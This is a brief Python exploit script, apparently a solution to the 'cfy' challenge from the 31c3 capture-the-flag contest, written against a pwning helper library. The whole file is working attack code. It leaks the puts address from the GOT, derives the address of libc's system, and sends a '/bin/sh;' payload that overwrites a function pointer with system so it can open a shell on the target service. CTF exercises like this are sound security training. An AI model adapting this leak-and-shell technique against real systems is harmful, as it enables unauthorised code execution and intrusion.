31c3 ctf - cfy

exploit.py

from No___Op import *

target = 'localhost:4444'

c = Pwning( target )

offset = {
    '__libc_start_main': 0x21e50,
    'system': 0x46590,
    '/bin/sh': 0x17c8c3, # str
    'puts': 0x00006fd60,
}

got = {
	'puts': 0x601018
}

c.sendall('2')
c.sendall(p64(got['puts']))

c.read_until('hex: 0x')

leak_libc = int(c.recv(12), 16)

libc_system = leak_libc - offset['puts'] + offset['system']

c.sendall('7')

info('libc_system: ' + hex(libc_system))

payload  = '/bin/sh;'
payload += 'mazai!?w'
payload += p64(libc_system)

c.sendall(payload)

c.shell()